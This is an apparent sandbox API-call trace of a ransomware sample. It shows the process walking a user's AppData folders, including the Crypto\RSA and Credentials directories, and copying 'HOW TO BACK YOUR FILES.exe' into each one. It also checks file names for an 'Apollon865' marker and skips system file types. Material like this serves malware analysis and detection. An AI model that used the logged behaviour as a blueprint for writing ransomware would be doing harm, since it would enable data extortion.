	[0043.383] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0043.383] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto") returned 62
	[0043.383] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto"
	[0043.383] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.383] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\crypto\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.388] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.388] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31ed6270, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31ed6270, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.388] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.388] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.389] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="RSA" | out: lpString1="RSA") returned="RSA"
	[0043.389] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ac8
	[0043.389] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x86) returned 0x5b8f28
	[0043.389] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ad0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ad0) returned 0x5b7c30
	[0043.389] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x681f1360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x681f1360, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 0
	[0043.389] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0043.389] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7ad0
	[0043.389] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA"
	[0043.389] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8f28 | out: hHeap=0x580000) returned 1
	[0043.389] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0043.389] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA") returned 66
	[0043.389] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA"
	[0043.389] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.389] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\crypto\\rsa\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.393] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.393] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31efc3d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31efc3d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.393] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.393] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.393] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000" | out: lpString1="S-1-5-21-3388679973-3930757225-3770151564-1000") returned="S-1-5-21-3388679973-3930757225-3770151564-1000"
	[0043.394] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ac8
	[0043.394] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xe4) returned 0x599450
	[0043.394] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ad0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ad0) returned 0x5b7c30
	[0043.394] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x681f1360, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xa1e34990, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e34990, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0
	[0043.394] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0043.394] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7ad0
	[0043.394] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000"
	[0043.394] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0043.394] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0043.394] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 113
	[0043.394] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000"
	[0043.394] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.394] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\crypto\\rsa\\s-1-5-21-3388679973-3930757225-3770151564-1000\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.402] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.402] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x681f1360, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x31efc3d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31efc3d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.402] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.402] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.402] lstrcpyW (in: lpString1=0x2d3e634, lpString2="83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f" | out: lpString1="83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned="83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f"
	[0043.402] lstrlenW (lpString="83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned 69
	[0043.402] lstrlenW (lpString="Apollon865") returned 10
	[0043.402] lstrcmpiW (lpString1="9ec416e53f", lpString2="Apollon865") returned -1
	[0043.402] lstrlenW (lpString=".dll") returned 4
	[0043.402] lstrcmpiW (lpString1="83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2=".dll") returned 1
	[0043.403] lstrlenW (lpString=".lnk") returned 4
	[0043.403] lstrcmpiW (lpString1="83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2=".lnk") returned 1
	[0043.403] lstrlenW (lpString=".ini") returned 4
	[0043.403] lstrcmpiW (lpString1="83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2=".ini") returned 1
	[0043.403] lstrlenW (lpString=".sys") returned 4
	[0043.403] lstrcmpiW (lpString1="83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2=".sys") returned 1
	[0043.403] lstrlenW (lpString="83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned 69
	[0043.403] lstrcpyW (in: lpString1=0x2d3e634, lpString2="932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f" | out: lpString1="932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned="932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f"
	[0043.403] lstrlenW (lpString="932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned 69
	[0043.403] lstrlenW (lpString="Apollon865") returned 10
	[0043.403] lstrcmpiW (lpString1="9ec416e53f", lpString2="Apollon865") returned -1
	[0043.403] lstrlenW (lpString=".dll") returned 4
	[0043.403] lstrcmpiW (lpString1="932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2=".dll") returned 1
	[0043.403] lstrlenW (lpString=".lnk") returned 4
	[0043.403] lstrcmpiW (lpString1="932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2=".lnk") returned 1
	[0043.403] lstrlenW (lpString=".ini") returned 4
	[0043.403] lstrcmpiW (lpString1="932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2=".ini") returned 1
	[0043.403] lstrlenW (lpString=".sys") returned 4
	[0043.403] lstrcmpiW (lpString1="932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2=".sys") returned 1
	[0043.403] lstrlenW (lpString="932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned 69
	[0043.403] lstrcpyW (in: lpString1=0x2d3e634, lpString2="fda992c8d564f97e48410a19a2e459f6_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f" | out: lpString1="fda992c8d564f97e48410a19a2e459f6_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned="fda992c8d564f97e48410a19a2e459f6_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f"
	[0043.403] lstrlenW (lpString="fda992c8d564f97e48410a19a2e459f6_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned 69
	[0043.403] lstrlenW (lpString="Apollon865") returned 10
	[0043.403] lstrcmpiW (lpString1="9ec416e53f", lpString2="Apollon865") returned -1
	[0043.403] lstrlenW (lpString=".dll") returned 4
	[0043.403] lstrcmpiW (lpString1="fda992c8d564f97e48410a19a2e459f6_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2=".dll") returned 1
	[0043.403] lstrlenW (lpString=".lnk") returned 4
	[0043.403] lstrcmpiW (lpString1="fda992c8d564f97e48410a19a2e459f6_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2=".lnk") returned 1
	[0043.403] lstrlenW (lpString=".ini") returned 4
	[0043.403] lstrcmpiW (lpString1="fda992c8d564f97e48410a19a2e459f6_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2=".ini") returned 1
	[0043.403] lstrlenW (lpString=".sys") returned 4
	[0043.403] lstrcmpiW (lpString1="fda992c8d564f97e48410a19a2e459f6_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2=".sys") returned 1
	[0043.404] lstrlenW (lpString="fda992c8d564f97e48410a19a2e459f6_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned 69
	[0043.404] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Credentials", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Credentials") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Credentials"
	[0043.404] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9168 | out: hHeap=0x580000) returned 1
	[0043.404] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0043.404] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Credentials") returned 67
	[0043.404] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Credentials" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Credentials") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Credentials"
	[0043.404] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.404] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Credentials\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\credentials\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.408] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.408] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Credentials\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31f22530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31f22530, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.408] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.408] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.408] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\AddIns", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\AddIns") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\AddIns"
	[0043.408] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0043.408] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0043.408] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\AddIns") returned 62
	[0043.408] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\AddIns" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\AddIns") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\AddIns"
	[0043.408] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.409] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\AddIns\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\addins\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.422] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.423] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\AddIns\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7c36290, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x31f48690, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31f48690, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.423] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.423] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.423] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia"
	[0043.423] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5916c0 | out: hHeap=0x580000) returned 1
	[0043.423] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a88 | out: hHeap=0x580000) returned 1
	[0043.423] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia") returned 56
	[0043.423] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia"
	[0043.423] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.423] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\macromedia\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.428] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.428] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x31f48690, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31f48690, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.428] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.428] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.428] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="Flash Player" | out: lpString1="Flash Player") returned="Flash Player"
	[0043.428] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a88
	[0043.428] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x8c) returned 0x599450
	[0043.428] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a90 | out: ListHead=0x5b76b0, ListEntry=0x5b7a90) returned 0x5b7a70
	[0043.428] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x31f48690, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x31f48690, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0043.428] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0043.428] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x31f48690, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x31f48690, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0043.428] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0043.428] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7a90
	[0043.428] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player"
	[0043.428] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0043.429] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a88 | out: hHeap=0x580000) returned 1
	[0043.429] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player") returned 69
	[0043.429] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player"
	[0043.429] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.429] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\macromedia\\flash player\\how to back your files.exe"), bFailIfExists=1) returned 1
